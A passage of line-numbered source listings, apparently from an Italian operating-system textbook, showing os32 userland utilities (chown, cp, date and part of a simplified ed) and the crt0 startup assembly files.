4650054         // Verify if the file exists, through the return value of
4650055         // `stat()'. No other checks are made.
4650056         //
4650057         if (stat (argv[a], &file_status) == 0)
4650058           {
4650059             //
4650060             // Try to change ownership.
4650061             //
4650062             status = chown (argv[a], uid, file_status.st_gid);
4650063             if (status != 0)
4650064               {
4650065                 perror (NULL);
4650066                 return (3);
4650067               }
4650068           }
4650069         else
4650070           {
4650071             fprintf (stderr, "File \"%s\" does not exist!\n", argv[a]);
4650072             continue;
4650073           }
4650074       }
4650075     //
4650076     // All done.
4650077     //
4650078     return (0);
4650079 }
4650080
4650081 //----------------------------------------------------------------------
4650082 static void
4650083 usage (void)
4650084 {
4650085     fprintf (stderr, "Usage:   chown USER|UID FILE...\n");
4650086     fprintf (stderr, "Example: chown user my_file\n");
4650087 }
```

121.1.10 applic/cp.c

Si veda la sezione 111.9.

```
4660001 #include <sys/os32.h>
4660002 #include <sys/stat.h>
4660003 #include <sys/types.h>
4660004 #include <unistd.h>
4660005 #include <stdlib.h>
4660006 #include <fcntl.h>
4660007 #include <errno.h>
4660008 #include <signal.h>
4660009 #include <stdio.h>
4660010 #include <string.h>
4660011 #include <limits.h>
4660012 #include <libgen.h>
4660013 //----------------------------------------------------------------------
4660014 static void     usage (void);
4660015 //----------------------------------------------------------------------
4660016 int
4660017 main (int argc, char *argv[], char *envp[])
4660018 {
4660019   char           *source;
4660020   char           *destination;
4660021   char           *destination_full;
4660022   struct stat     file_status;
4660023   int             dest_is_a_dir = 0;
4660024   int             a;            // Argument index.
4660025   char            path[PATH_MAX];
4660026   int             fd_source = -1;
4660027   int             fd_destination = -1;
4660028   char            buffer_in[BUFSIZ];
4660029   char           *buffer_out;
4660030   ssize_t         count_in;     // Read counter.
4660031   ssize_t         count_out;    // Write counter.
4660032   //
4660033   // There must be at least two arguments, plus the program name.
4660034   //
4660035   if (argc < 3)
4660036     {
4660037       usage ();
4660038       return (1);
4660039     }
4660040   //
4660041   // Select the last argument as the destination.
4660042   //
4660043   destination = argv[argc - 1];
4660044   //
4660045   // Check if it is a directory and save it in a flag.
4660046   //
4660047   if (stat (destination, &file_status) == 0)
4660048     {
4660049       if (S_ISDIR (file_status.st_mode))
```

```
4660050             {
4660051               dest_is_a_dir = 1;
4660052             }
4660053         }
4660054       //
4660055       // If there are more than two arguments, verify that the last
4660056       // one is a directory.
4660057       //
4660058       if (argc > 3)
4660059         {
4660060           if (!dest_is_a_dir)
4660061             {
4660062               usage ();
4660063               fprintf (stderr, "The destination \"%s\" ", destination);
4660064               fprintf (stderr, "is not a directory!\n");
4660065               return (1);
4660066             }
4660067         }
4660068       //
4660069       // Scan the arguments, excluded the last, that is the destination.
4660070       //
4660071       for (a = 1; a < (argc - 1); a++)
4660072         {
4660073           //
4660074           // Source.
4660075           //
4660076           source = argv[a];
4660077           //
4660078           // Verify access permissions.
4660079           //
4660080           if (access (source, R_OK) < 0)
4660081             {
4660082               perror (source);
4660083               continue;
4660084             }
4660085           //
4660086           // Destination.
4660087           //
4660088           // If it is a directory, the destination path
4660089           // must be corrected.
4660090           //
4660091           if (dest_is_a_dir)
4660092             {
4660093               path[0] = 0;
4660094               strcat (path, destination);
4660095               strcat (path, "/");
4660096               strcat (path, basename (source));
4660097               //
4660098               // Update the destination path.
4660099               //
4660100               destination_full = path;
4660101             }
```

```
4660102         else
4660103           {
4660104             destination_full = destination;
4660105           }
4660106         //
4660107         // Check if destination file exists.
4660108         //
4660109         if (stat (destination_full, &file_status) == 0)
4660110           {
4660111             fprintf (stderr, "The destination file, \"%s\", ",
4660112                      destination_full);
4660113             fprintf (stderr, "already exists!\n");
4660114             continue;
4660115           }
4660116         //
4660117         // Everything is ready for the copy.
4660118         //
4660119         fd_source = open (source, O_RDONLY);
4660120         if (fd_source < 0)
4660121           {
4660122             perror (source);
4660123             //
4660124             // Continue with the next file.
4660125             //
4660126             continue;
4660127           }
4660128         //
4660129         fd_destination = creat (destination_full, 0777);
4660130         if (fd_destination < 0)
4660131           {
4660132             perror (destination);
4660133             close (fd_source);
4660134             //
4660135             // Continue with the next file.
4660136             //
4660137             continue;
4660138           }
4660139         //
4660140         // Copy the data.
4660141         //
4660142         while (1)
4660143           {
4660144             count_in = read (fd_source, buffer_in, (size_t) BUFSIZ);
4660145             if (count_in > 0)
4660146               {
4660147                 for (buffer_out = buffer_in; count_in > 0;)
4660148                   {
4660149                     count_out = write (fd_destination, buffer_out,
4660150                                        (size_t) count_in);
4660151                     if (count_out < 0)
4660152                       {
4660153                         perror (destination);
```

```
4660154                         close (fd_source);
4660155                         close (fd_destination);
4660156                         return (3);
4660157                       }
4660158                     //
4660159                     // If not all data is written, continue writing,
4660160                     // but change the buffer start position and the
4660161                     // amount to be written.
4660162                     //
4660163                     buffer_out += count_out;
4660164                     count_in -= count_out;
4660165                   }
4660166               }
4660167             else if (count_in < 0)
4660168               {
4660169                 perror (source);
4660170                 close (fd_source);
4660171                 close (fd_destination);
4660172               }
4660173             else
4660174               {
4660175                 break;
4660176               }
4660177           }
4660178         //
4660179         if (close (fd_source))
4660180           {
4660181             perror (source);
4660182           }
4660183         if (close (fd_destination))
4660184           {
4660185             perror (destination);
4660186             return (4);
4660187           }
4660188       }
4660189     //
4660190     // All done.
4660191     //
4660192     return (0);
4660193   }
4660194
4660195   //----------------------------------------------------------------------
4660196   static void
4660197   usage (void)
4660198   {
4660199     fprintf (stderr, "Usage: cp OLD_NAME NEW_NAME\n");
4660200     fprintf (stderr, "       cp FILE... DIRECTORY\n");
4660201   }
```

121.1.11 applic/crt0.mer.s

Si veda la sezione 109.5.2.

```
4670001 .extern main
4670002 .extern _stdio_stream_setup
4670003 .extern _dirent_directory_stream_setup
4670004 .extern _atexit_setup
4670005 .extern _environment_setup
4670006 .global startup
4670007 .global _data_end
4670008 #------------------------------------------------------------------------
4670009 # Please note that, all segment descriptors are already set from the
4670010 # scheduler, and there is also data inside the stack, so that the call
4670011 # to 'main()' function will result as expected.
4670012 #------------------------------------------------------------------------
4670013 # The following statement says that the code will start at "startup"
4670014 # label.
4670015 #------------------------------------------------------------------------
4670016 .section .text
4670017 #------------------------------------------------------------------------
4670018 startup:
4670019     #
4670020     # Jump after initial data.
4670021     #
4670022     jmp startup_code
4670023     #
4670024 filler:
4670025     #
4670026     # After four bytes, from the start, there is the
4670027     # magic number and other data.
4670028     #
4670029     .space (0x0004 - (filler - startup))
4670030     #
4670031 magic:
4670032     .quad 0x6F7333326170706C   # os32appl
4670033     ;
4670034 doffset:                    #
4670035     .int _text_start        # Data offset from start.
4670036 etext:                      #
4670037     .int _text_end          # End of code
4670038 edata:                      #
4670039     .int _data_end          # End of initialized data.
4670040 ebss:                       #
4670041     .int _bss_end           # End of not initialized data.
4670042 stack_size:                 #
4670043     .int 0x8000             # Requested stack size. Every single application
4670044                             # might change this value.
4670045     #
4670046     # At the next label, the work begins.
4670047     #
4670048 .align 4
4670049 startup_code:
```

```
4670050         #
4670051         # Before the call to the main function, it is necessary to extract
4670052         # the value to assign to the global variable 'environ'. It is
4670053         # described as 'char **environ' and should contain the same address
4670054         # pointed by 'envp'. To get this value, the stack is popped and then
4670055         # pushed again. Please recall that the stack was prepared from
4670056         # the process management, at the 'exec()' system call.
4670057         #
4670058         pop %eax            # argc
4670059         pop %ebx            # argv
4670060         pop %ecx            # envp
4670061         mov %ecx, environ   # Variable 'environ' comes from <unistd.h>.
4670062         push %ecx
4670063         push %ebx
4670064         push %eax
4670065         #
4670066         # Could it be enough? Of course not! To be able to handle the
4670067         # environment, it must be copied inside the table
4670068         # '_environment_table[][]', that is defined inside <stdlib.h>.
4670069         # To copy the environment it is used the function
4670070         # '_environment_setup()', passing the 'envp' pointer.
4670071         #
4670072         push %ecx
4670073         call _environment_setup
4670074         add  $4, %esp
4670075         #
4670076         # After the environment copy is done, the value for the traditional
4670077         # variable 'environ' is updated, to point to the new array of
4670078         # pointer. The updated value comes from variable '_environment',
4670079         # defined inside <stdlib.h>. Then, also the 'argv' contained inside
4670080         # the stack is replaced with the new value.
4670081         #
4670082         mov  $_environment, %eax
4670083         mov  %eax, environ
4670084         #
4670085         pop %eax            # argc
4670086         pop %ebx            # argv[][]
4670087         pop %ecx            # envp[][]
4670088         mov $_environment, %ecx
4670089         push %ecx
4670090         push %ebx
4670091         push %eax
4670092         #
4670093         # Setup standard I/O streams and at-exit table.
4670094         #
4670095         call _stdio_stream_setup
4670096         call _dirent_directory_stream_setup
4670097         call _atexit_setup
4670098         #
4670099         # Call the main function. The arguments are already pushed inside
4670100         # the stack.
4670101         #
```

```
4670102	    call main
4670103	    #
4670104	    # Save the return value at the symbol 'exit_value'.
4670105	    #
4670106	    mov  %eax, exit_value
4670107	    #
4670108	.align 4
4670109	halt:
4670110	    #
4670111	    pushl $2            # Size of message.
4670112	    pushl $exit_value   # Pointer to the message.
4670113	    pushl $6            # SYS_EXIT
4670114	    call sys
4670115	    add  $4, %esp
4670116	    add  $4, %esp
4670117	    add  $4, %esp
4670118	    #
4670119	    jmp halt
4670120	    #
4670121	#------------------------------------------------------------------------
4670122	.align 4
4670123	.section .rodata
4670124	#
4670125	data_magic:
4670126	    .quad 0x6F73333264617461   # os32data [1]
4670127	#
4670128	_data_end:
4670129	    .int _bss_end
4670130	#
4670131	# [1] This is placed here just to be the same as the other file
4670132	#     'crt0.sep.s'. See the other file for an explanation.
4670133	#------------------------------------------------------------------------
4670134	.align 4
4670135	.section .data
4670136	#
4670137	exit_value:
4670138	    .int 0x00000000
4670139	#------------------------------------------------------------------------
4670140	.align 4
4670141	.section .bss
```

121.1.12 applic/crt0.sep.s

Si veda la sezione 109.5.2.

```
4680001	.extern main
4680002	.extern _stdio_stream_setup
4680003	.extern _dirent_directory_stream_setup
4680004	.extern _atexit_setup
4680005	.extern _environment_setup
4680006	.global startup
```

```
4680007 .global _data_end
4680008 #----------------------------------------------------------------------
4680009 # Please note that, all segment descriptors are already set from the
4680010 # scheduler, and there is also data inside the stack, so that the call
4680011 # to 'main()' function will result as expected.
4680012 #----------------------------------------------------------------------
4680013 # The following statement says that the code will start at "startup"
4680014 # label.
4680015 #----------------------------------------------------------------------
4680016 .section .text
4680017 #----------------------------------------------------------------------
4680018 startup:
4680019     #
4680020     # Jump after initial data.
4680021     #
4680022     jmp startup_code
4680023     #
4680024 filler:
4680025     #
4680026     # After four bytes, from the start, there is the
4680027     # magic number and other data.
4680028     #
4680029     .space (0x0004 - (filler - startup))
4680030     #
4680031 magic:
4680032     .quad 0x6F7333326170706C   # os32appl
4680033     ;
4680034 doffset:                 #
4680035     .int _text_end       # Data offset from start: at the end of TEXT.
4680036 etext:                   #
4680037     .int _text_end       # End of code
4680038 edata:                   #
4680039     .int _data_end       # End of initialized data.
4680040 ebss:                    #
4680041     .int _bss_end        # End of not initialized data.
4680042 stack_size:              #
4680043     .int 0x8000          # Requested stack size. Every single application
4680044                          # might change this value.
4680045     #
4680046     # At the next label, the work begins.
4680047     #
4680048 .align 4
4680049 startup_code:
4680050     #
4680051     # Before the call to the main function, it is necessary to extract
4680052     # the value to assign to the global variable 'environ'. It is
4680053     # described as 'char **environ' and should contain the same address
4680054     # pointed by 'envp'. To get this value, the stack is popped and then
4680055     # pushed again. Please recall that the stack was prepared from
4680056     # the process management, at the 'exec()' system call.
4680057     #
4680058     pop %eax             # argc
```

```
4680059     pop %ebx            # argv
4680060     pop %ecx            # envp
4680061     mov %ecx, environ   # Variable 'environ' comes from <unistd.h>.
4680062     push %ecx
4680063     push %ebx
4680064     push %eax
4680065     #
4680066     # Could it be enough? Of course not! To be able to handle the
4680067     # environment, it must be copied inside the table
4680068     # '_environment_table[][]', that is defined inside <stdlib.h>.
4680069     # To copy the environment it is used the function
4680070     # '_environment_setup()', passing the 'envp' pointer.
4680071     #
4680072     push %ecx
4680073     call _environment_setup
4680074     add  $4, %esp
4680075     #
4680076     # After the environment copy is done, the value for the traditional
4680077     # variable 'environ' is updated, to point to the new array of
4680078     # pointer. The updated value comes from variable '_environment',
4680079     # defined inside <stdlib.h>. Then, also the 'argv' contained inside
4680080     # the stack is replaced with the new value.
4680081     #
4680082     mov  $_environment, %eax
4680083     mov  %eax, environ
4680084     #
4680085     pop %eax            # argc
4680086     pop %ebx            # argv[][]
4680087     pop %ecx            # envp[][]
4680088     mov $_environment, %ecx
4680089     push %ecx
4680090     push %ebx
4680091     push %eax
4680092     #
4680093     # Setup standard I/O streams and at-exit table.
4680094     #
4680095     call _stdio_stream_setup
4680096     call _dirent_directory_stream_setup
4680097     call _atexit_setup
4680098     #
4680099     # Call the main function. The arguments are already pushed inside
4680100     # the stack.
4680101     #
4680102     call main
4680103     #
4680104     # Save the return value at the symbol 'exit_value'.
4680105     #
4680106     mov  %eax, exit_value
4680107     #
4680108 .align 4
4680109 halt:
4680110     #
```

```
4680111         pushl $2            # Size of message.
4680112         pushl $exit_value   # Pointer to the message.
4680113         pushl $6            # SYS_EXIT
4680114         call sys
4680115         add  $4, %esp
4680116         add  $4, %esp
4680117         add  $4, %esp
4680118         #
4680119         jmp halt
4680120         #
4680121     #------------------------------------------------------------------------
4680122     .align 4
4680123     .section .rodata
4680124     #
4680125     data_magic:
4680126         .quad 0x6F73333264617461   # os32data [1]
4680127     #
4680128     _data_end:
4680129         .int _bss_end
4680130     #
4680131     # [1] This signature is just a place holder, at the beginning of
4680132     #     the data segment, which starts at address 0x00000000. This is
4680133     #     to avoid constant strings to be placed exactly at the beginning
4680134     #     (and it happened so), where the address is equal to 'NULL'.
4680135     #------------------------------------------------------------------------
4680136     .align 4
4680137     .section .data
4680138     #
4680139     exit_value:
4680140         .int 0x00000000
4680141     #------------------------------------------------------------------------
4680142     .align 4
4680143     .section .bss
```

121.1.13 applic/date.c

Si veda la sezione 111.10.

```
4690001     #include <unistd.h>
4690002     #include <stdlib.h>
4690003     #include <errno.h>
4690004     #include <time.h>
4690005     #include <ctype.h>
4690006     //------------------------------------------------------------------------
4690007     static void     usage (void);
4690008     //------------------------------------------------------------------------
4690009     int
4690010     main (int argc, char *argv[], char *envp[])
4690011     {
4690012       struct tm       *timeptr;
4690013       char             string[5];
```

```
4690014     time_t          timer;
4690015     int             length;
4690016     char           *input;
4690017     int             i;
4690018     int             status;
4690019     //
4690020     // There can be at most an argument.
4690021     //
4690022     if (argc > 2)
4690023       {
4690024         usage ();
4690025         return (1);
4690026       }
4690027     //
4690028     // Check if there is no argument: must show the date.
4690029     //
4690030     if (argc == 1)
4690031       {
4690032         timer = time (NULL);
4690033         printf ("%s\n", ctime (&timer));
4690034         return (0);
4690035       }
4690036     //
4690037     // There is one argument and must be the date do set.
4690038     //
4690039     input = argv[1];
4690040     //
4690041     // First get current date, for default values.
4690042     //
4690043     timer = time (NULL);
4690044     timeptr = gmtime (&timer);
4690045     //
4690046     // Verify to have a correct input.
4690047     //
4690048     length = (int) strlen (input);
4690049     if (length == 8 || length == 10 || length == 12)
4690050       {
4690051         for (i = 0; i < length; i++)
4690052           {
4690053             if (!isdigit (input[i]))
4690054               {
4690055                 usage ();
4690056                 return (2);
4690057               }
4690058           }
4690059       }
4690060     else
4690061       {
4690062         printf ("input: \"%s\"; length: %i\n", input, length);
4690063         usage ();
4690064         return (3);
4690065       }
```

```
4690066     //
4690067     // Select the month.
4690068     //
4690069     string[0] = input[0];
4690070     string[1] = input[1];
4690071     string[2] = '\0';
4690072     timeptr->tm_mon = atoi (string);
4690073     //
4690074     // Select the day.
4690075     //
4690076     string[0] = input[2];
4690077     string[1] = input[3];
4690078     string[2] = '\0';
4690079     timeptr->tm_mday = atoi (string);
4690080     //
4690081     // Select the hour.
4690082     //
4690083     string[0] = input[4];
4690084     string[1] = input[5];
4690085     string[2] = '\0';
4690086     timeptr->tm_hour = atoi (string);
4690087     //
4690088     // Select the minute.
4690089     //
4690090     string[0] = input[6];
4690091     string[1] = input[7];
4690092     string[2] = '\0';
4690093     timeptr->tm_min = atoi (string);
4690094     //
4690095     // Select the year: must verify if there is a century.
4690096     //
4690097     if (length == 12)
4690098       {
4690099         string[0] = input[8];
4690100         string[1] = input[9];
4690101         string[2] = input[10];
4690102         string[3] = input[11];
4690103         string[4] = '\0';
4690104         timeptr->tm_year = atoi (string);
4690105       }
4690106     else if (length == 10)
4690107       {
4690108         sprintf (string, "%04i", timeptr->tm_year);
4690109         string[2] = input[8];
4690110         string[3] = input[9];
4690111         string[4] = '\0';
4690112         timeptr->tm_year = atoi (string);
4690113       }
4690114     //
4690115     // Now convert to `time_t'.
4690116     //
4690117     timer = mktime (timeptr);
```

```
4690118     //
4690119     // Save to the system.
4690120     //
4690121     status = stime (&timer);
4690122     if (status != 0)
4690123       {
4690124         perror (NULL);
4690125       }
4690126     //
4690127     return (0);
4690128 }
4690129
4690130 //----------------------------------------------------------------------
4690131 static void
4690132 usage (void)
4690133 {
4690134     fprintf (stderr, "Usage: date [MMDDHHMM[[CC]YY]]\n");
4690135 }
```

121.1.14 applic/ed.c

Si veda la sezione 111.11.

```
4700001 //----------------------------------------------------------------------
4700002 // 2009.08.18
4700003 // Modified by Daniele Giacomini for 'os16', to harmonize with it,
4700004 // even, when possible, on coding style.
4700005 //
4700006 // The original was taken form ELKS sources: 'elkscmd/misc_utils/ed.c'.
4700007 //----------------------------------------------------------------------
4700008 //
4700009 // Copyright (c) 1993 by David I. Bell
4700010 // Permission is granted to use, distribute, or modify this source,
4700011 // provided that this copyright notice remains intact.
4700012 //
4700013 // The "ed" built-in command (much simplified)
4700014 //
4700015 //----------------------------------------------------------------------
4700016
4700017 #include <stdio.h>
4700018 #include <ctype.h>
4700019 #include <unistd.h>
4700020 #include <stdbool.h>
4700021 #include <string.h>
4700022 #include <stdlib.h>
4700023 #include <fcntl.h>
4700024 //----------------------------------------------------------------------
4700025 #define isoctal(ch)   (((ch) >= '0') && ((ch) <= '7'))
4700026 #define USERSIZE      1024        /* max line length typed in by user */
4700027 #define INITBUFSIZE   1024        /* initial buffer size */
4700028 //----------------------------------------------------------------------
```

```
4700029 typedef int     num_t;
4700030 typedef int     len_t;
4700031 //
4700032 // The following is the type definition of structure ‘line_t’, but the
4700033 // structure contains pointers to the same kind of type. With the
4700034 // compiler Bcc, it is the only way to declare it.
4700035 //
4700036 typedef struct line line_t;
4700037 //
4700038 struct line
4700039 {
4700040   line_t         *next;
4700041   line_t         *prev;
4700042   len_t           len;
4700043   char            data[1];
4700044 };
4700045 //
4700046 static line_t   lines;
4700047 static line_t  *curline;
4700048 static num_t    curnum;
4700049 static num_t    lastnum;
4700050 static num_t    marks[26];
4700051 static bool     dirty;
4700052 static char    *filename;
4700053 static char     searchstring[USERSIZE];
4700054 //
4700055 static char    *bufbase;
4700056 static char    *bufptr;
4700057 static len_t    bufused;
4700058 static len_t    bufsize;
4700059 //----------------------------------------------------------------------
4700060 static void     docommands (void);
4700061 static void     subcommand (char *cp, num_t num1, num_t num2);
4700062 static bool     getnum (char **retcp, bool * rethavenum,
4700063                         num_t * retnum);
4700064 static bool     setcurnum (num_t num);
4700065 static bool     initedit (void);
4700066 static void     termedit (void);
4700067 static void     addlines (num_t num);
4700068 static bool     insertline (num_t num, char *data, len_t len);
4700069 static bool     deletelines (num_t num1, num_t num2);
4700070 static bool     printlines (num_t num1, num_t num2, bool expandflag);
4700071 static bool     writelines (char *file, num_t num1, num_t num2);
4700072 static bool     readlines (char *file, num_t num);
4700073 static num_t    searchlines (char *str, num_t num1, num_t num2);
4700074 static len_t    findstring (line_t * lp, char *str, len_t len,
4700075                             len_t offset);
4700076 static line_t  *findline (num_t num);
4700077 //----------------------------------------------------------------------
4700078 // Main.
4700079 //----------------------------------------------------------------------
4700080 int
```

```
4700081 main (int argc, char *argv[], char *envp[])
4700082 {
4700083   if (!initedit ())
4700084     return (2);
4700085   //
4700086   if (argc > 1)
4700087     {
4700088       filename = strdup (argv[1]);
4700089       if (filename == NULL)
4700090         {
4700091           fprintf (stderr, "No memory\n");
4700092           termedit ();
4700093           return (1);
4700094         }
4700095       //
4700096       if (!readlines (filename, 1))
4700097         {
4700098           termedit ();
4700099           return (0);
4700100         }
4700101       //
4700102       if (lastnum)
4700103         setcurnum (1);
4700104       //
4700105       dirty = false;
4700106     }
4700107   //
4700108   docommands ();
4700109   //
4700110   termedit ();
4700111   return (0);
4700112 }
4700113
4700114 //------------------------------------------------------------------------
4700115 // Read commands until we are told to stop.
4700116 //------------------------------------------------------------------------
4700117 void
4700118 docommands (void)
4700119 {
4700120   char           *cp;
4700121   int             len;
4700122   num_t           num1;
4700123   num_t           num2;
4700124   bool            have1;
4700125   bool            have2;
4700126   char            buf[USERSIZE];
4700127   //
4700128   while (true)
4700129     {
4700130       printf (": ");
4700131       fflush (stdout);
4700132       //
```

```
4700133         if (fgets (buf, sizeof (buf), stdin) == NULL)
4700134           {
4700135             return;
4700136           }
4700137         //
4700138         len = strlen (buf);
4700139         if (len == 0)
4700140           {
4700141             return;
4700142           }
4700143         //
4700144         cp = &buf[len - 1];
4700145         if (*cp != '\n')
4700146           {
4700147             fprintf (stderr, "Command line too long\n");
4700148             do
4700149               {
4700150                 len = fgetc (stdin);
4700151               }
4700152             while ((len != EOF) && (len != '\n'));
4700153             //
4700154             continue;
4700155           }
4700156         //
4700157         while ((cp > buf) && isblank (cp[-1]))
4700158           {
4700159             cp--;
4700160           }
4700161         //
4700162         *cp = '\0';
4700163         //
4700164         cp = buf;
4700165         //
4700166         while (isblank (*cp))
4700167           {
4700168             //*cp++;
4700169             cp++;
4700170           }
4700171         //
4700172         have1 = false;
4700173         have2 = false;
4700174         //
4700175         if ((curnum == 0) && (lastnum > 0))
4700176           {
4700177             curnum = 1;
4700178             curline = lines.next;
4700179           }
4700180         //
4700181         if (!getnum (&cp, &have1, &num1))
4700182           {
4700183             continue;
4700184           }
```

```
4700185         //
4700186         while (isblank (*cp))
4700187           {
4700188             cp++;
4700189           }
4700190         //
4700191         if (*cp == ',')
4700192           {
4700193             cp++;
4700194             if (!getnum (&cp, &have2, &num2))
4700195               {
4700196                 continue;
4700197               }
4700198             //
4700199             if (!have1)
4700200               {
4700201                 num1 = 1;
4700202               }
4700203             if (!have2)
4700204               {
4700205                 num2 = lastnum;
4700206               }
4700207             have1 = true;
4700208             have2 = true;
4700209           }
4700210         //
4700211         if (!have1)
4700212           {
4700213             num1 = curnum;
4700214           }
4700215         if (!have2)
4700216           {
4700217             num2 = num1;
4700218           }
4700219         //
4700220         // Command interpretation switch.
4700221         //
4700222         switch (*cp++)
4700223           {
4700224           case 'a':
4700225             addlines (num1 + 1);
4700226             break;
4700227             //
4700228           case 'c':
4700229             deletelines (num1, num2);
4700230             addlines (num1);
4700231             break;
4700232             //
4700233           case 'd':
4700234             deletelines (num1, num2);
4700235             break;
4700236             //
```

```
4700237         case 'f':
4700238           if (*cp && !isblank (*cp))
4700239             {
4700240               fprintf (stderr, "Bad file command\n");
4700241               break;
4700242             }
4700243           //
4700244           while (isblank (*cp))
4700245             {
4700246               cp++;
4700247             }
4700248           if (*cp == '\0')
4700249             {
4700250               if (filename)
4700251                 {
4700252                   printf ("\"%s\"\n", filename);
4700253                 }
4700254               else
4700255                 {
4700256                   printf ("No filename\n");
4700257                 }
4700258               break;
4700259             }
4700260           //
4700261           cp = strdup (cp);
4700262           //
4700263           if (cp == NULL)
4700264             {
4700265               fprintf (stderr, "No memory for filename\n");
4700266               break;
4700267             }
4700268           //
4700269           if (filename)
4700270             {
4700271               free (filename);
4700272             }
4700273           //
4700274           filename = cp;
4700275           break;
4700276           //
4700277         case 'i':
4700278           addlines (num1);
4700279           break;
4700280           //
4700281         case 'k':
4700282           while (isblank (*cp))
4700283             {
4700284               cp++;
4700285             }
4700286           //
4700287           if ((*cp < 'a') || (*cp > 'a') || cp[1])
4700288             {
```

```
4700289                    fprintf (stderr, "Bad mark name\n");
4700290                    break;
4700291                  }
4700292                //
4700293                marks[*cp - 'a'] = num2;
4700294                break;
4700295                //
4700296              case 'l':
4700297                printlines (num1, num2, true);
4700298                break;
4700299                //
4700300              case 'p':
4700301                printlines (num1, num2, false);
4700302                break;
4700303                //
4700304              case 'q':
4700305                while (isblank (*cp))
4700306                  {
4700307                    cp++;
4700308                  }
4700309                //
4700310                if (have1 || *cp)
4700311                  {
4700312                    fprintf (stderr, "Bad quit command\n");
4700313                    break;
4700314                  }
4700315                //
4700316                if (!dirty)
4700317                  {
4700318                    return;
4700319                  }
4700320                //
4700321                printf ("Really quit? ");
4700322                fflush (stdout);
4700323                //
4700324                buf[0] = '\0';
4700325                fgets (buf, sizeof (buf), stdin);
4700326                cp = buf;
4700327                //
4700328                while (isblank (*cp))
4700329                  {
4700330                    cp++;
4700331                  }
4700332                //
4700333                if ((*cp == 'y') || (*cp == 'Y'))
4700334                  {
4700335                    return;
4700336                  }
4700337                //
4700338                break;
4700339                //
4700340              case 'r':
```

```
4700341             if (*cp && !isblank (*cp))
4700342               {
4700343                 fprintf (stderr, "Bad read command\n");
4700344                 break;
4700345               }
4700346             //
4700347             while (isblank (*cp))
4700348               {
4700349                 cp++;
4700350               }
4700351             //
4700352             if (*cp == '\0')
4700353               {
4700354                 fprintf (stderr, "No filename\n");
4700355                 break;
4700356               }
4700357             //
4700358             if (!have1)
4700359               {
4700360                 num1 = lastnum;
4700361               }
4700362             //
4700363             // Open the file and add to the buffer
4700364             // at the next line.
4700365             //
4700366             if (readlines (cp, num1 + 1))
4700367               {
4700368                 //
4700369                 // If the file open fails, just
4700370                 // break the command.
4700371                 //
4700372                 break;
4700373               }
4700374             //
4700375             // Set the default file name, if no
4700376             // previous name is available.
4700377             //
4700378             if (filename == NULL)
4700379               {
4700380                 filename = strdup (cp);
4700381               }
4700382             //
4700383             break;
4700384 
4700385           case 's':
4700386             subcommand (cp, num1, num2);
4700387             break;
4700388             //
4700389           case 'w':
4700390             if (*cp && !isblank (*cp))
4700391               {
4700392                 fprintf (stderr, "Bad write command\n");
```

```
4700393                 break;
4700394               }
4700395             //
4700396             while (isblank (*cp))
4700397               {
4700398                 cp++;
4700399               }
4700400             //
4700401             if (!have1)
4700402               {
4700403                 num1 = 1;
4700404                 num2 = lastnum;
4700405               }
4700406             //
4700407             // If the file name is not specified, use the
4700408             // default one.
4700409             //
4700410             if (*cp == '\0')
4700411               {
4700412                 cp = filename;
4700413               }
4700414             //
4700415             // If even the default file name is not specified,
4700416             // tell it.
4700417             //
4700418             if (cp == NULL)
4700419               {
4700420                 fprintf (stderr, "No file name specified\n");
4700421                 break;
4700422               }
4700423             //
4700424             // Write the file.
4700425             //
4700426             writelines (cp, num1, num2);
4700427             //
4700428             break;
4700429             //
4700430           case 'z':
4700431             switch (*cp)
4700432               {
4700433               case '-':
4700434                 printlines (curnum - 21, curnum, false);
4700435                 break;
4700436               case '.':
4700437                 printlines (curnum - 11, curnum + 10, false);
4700438                 break;
4700439               default:
4700440                 printlines (curnum, curnum + 21, false);
4700441                 break;
4700442               }
4700443             break;
4700444             //
```

```
4700445          case '.':
4700446            if (have1)
4700447              {
4700448                fprintf (stderr, "No arguments allowed\n");
4700449                break;
4700450              }
4700451            printlines (curnum, curnum, false);
4700452            break;
4700453            //
4700454          case '-':
4700455            if (setcurnum (curnum - 1))
4700456              {
4700457                printlines (curnum, curnum, false);
4700458              }
4700459            break;
4700460            //
4700461          case '=':
4700462            printf ("%d\n", num1);
4700463            break;
4700464            //
4700465          case '\0':
4700466            if (have1)
4700467              {
4700468                printlines (num2, num2, false);
4700469                break;
4700470              }
4700471            //
4700472            if (setcurnum (curnum + 1))
4700473              {
4700474                printlines (curnum, curnum, false);
4700475              }
4700476            break;
4700477            //
4700478          default:
4700479            fprintf (stderr, "Unimplemented command\n");
4700480            break;
4700481        }
4700482    }
4700483 }
4700484
4700485 //----------------------------------------------------------------------
4700486 // Do the substitute command.
4700487 // The current line is set to the last substitution done.
4700488 //----------------------------------------------------------------------
4700489 void
4700490 subcommand (char *cp, num_t num1, num_t num2)
4700491 {
4700492   int              delim;
4700493   char            *oldstr;
4700494   char            *newstr;
4700495   len_t            oldlen;
4700496   len_t            newlen;
```

```
4700497     len_t            deltalen;
4700498     len_t            offset;
4700499     line_t          *lp;
4700500     line_t          *nlp;
4700501     bool             globalflag;
4700502     bool             printflag;
4700503     bool             didsub;
4700504     bool             needprint;
4700505 
4700506     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4700507       {
4700508         fprintf (stderr, "Bad line range for substitute\n");
4700509         return;
4700510       }
4700511     //
4700512     globalflag = false;
4700513     printflag = false;
4700514     didsub = false;
4700515     needprint = false;
4700516     //
4700517     if (isblank (*cp) || (*cp == '\0'))
4700518       {
4700519         fprintf (stderr, "Bad delimiter for substitute\n");
4700520         return;
4700521       }
4700522     //
4700523     delim = *cp++;
4700524     oldstr = cp;
4700525     //
4700526     cp = strchr (cp, delim);
4700527     //
4700528     if (cp == NULL)
4700529       {
4700530         fprintf (stderr, "Missing 2nd delimiter for substitute\n");
4700531         return;
4700532       }
4700533     //
4700534     *cp++ = '\0';
4700535     //
4700536     newstr = cp;
4700537     cp = strchr (cp, delim);
4700538     //
4700539     if (cp)
4700540       {
4700541         *cp++ = '\0';
4700542       }
4700543     else
4700544       {
4700545         cp = "";
4700546       }
4700547     while (*cp)
4700548       {
```

```
4700549         switch (*cp++)
4700550           {
4700551           case 'g':
4700552             globalflag = true;
4700553             break;
4700554             //
4700555           case 'p':
4700556             printflag = true;
4700557             break;
4700558             //
4700559           default:
4700560             fprintf (stderr, "Unknown option for substitute\n");
4700561             return;
4700562           }
4700563       }
4700564     //
4700565     if (*oldstr == '\0')
4700566       {
4700567         if (searchstring[0] == '\0')
4700568           {
4700569             fprintf (stderr, "No previous search string\n");
4700570             return;
4700571           }
4700572         oldstr = searchstring;
4700573       }
4700574     //
